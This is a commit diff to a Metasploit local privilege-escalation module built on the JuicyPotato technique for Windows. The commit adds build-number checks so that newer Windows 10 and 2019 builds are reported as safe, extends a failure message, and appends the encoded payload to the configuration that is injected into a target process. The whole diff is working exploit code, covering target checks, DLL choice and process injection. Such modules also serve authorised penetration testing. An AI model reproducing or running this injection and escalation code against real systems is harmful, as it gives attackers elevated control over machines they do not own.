fix: improve exploit check
parent
cb03ffaa28
commit
7653d64c4a
|
@ -112,6 +112,14 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
|
|
||||||
def check
|
def check
|
||||||
privs = client.sys.config.getprivs
|
privs = client.sys.config.getprivs
|
||||||
|
win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
|
||||||
|
if win10build and win10build[1] > '17134'
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
|
||||||
|
if win2019build and win2019build[1] > '17134'
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
if privs.include?('SeImpersonatePrivilege')
|
if privs.include?('SeImpersonatePrivilege')
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Appears
|
||||||
end
|
end
|
||||||
|
@ -129,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
print_status("#{my_target['Arch']}")
|
print_status("#{my_target['Arch']}")
|
||||||
verify_arch(my_target)
|
verify_arch(my_target)
|
||||||
if check == Exploit::CheckCode::Safe
|
if check == Exploit::CheckCode::Safe
|
||||||
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
|
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege or Windows version not supported')
|
||||||
end
|
end
|
||||||
if my_target.opts['Arch'] == 'x64'
|
if my_target.opts['Arch'] == 'x64'
|
||||||
dll_file_name = 'juicypotato.x64.dll'
|
dll_file_name = 'juicypotato.x64.dll'
|
||||||
|
@ -161,6 +169,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
configuration += "#{datastore['RPC_IP']}\x00"
|
configuration += "#{datastore['RPC_IP']}\x00"
|
||||||
configuration += "#{datastore['RPC_PORT']}\x00"
|
configuration += "#{datastore['RPC_PORT']}\x00"
|
||||||
configuration += "#{datastore['DCOM_IP']}\x00"
|
configuration += "#{datastore['DCOM_IP']}\x00"
|
||||||
|
configuration += payload.encoded
|
||||||
payload_mem = inject_into_process(process, configuration)
|
payload_mem = inject_into_process(process, configuration)
|
||||||
# invoke the exploit, passing in the address of the payload that
|
# invoke the exploit, passing in the address of the payload that
|
||||||
# we want invoked on successful exploitation.
|
# we want invoked on successful exploitation.
|
||||||
|
|
Loading…
Reference in New Issue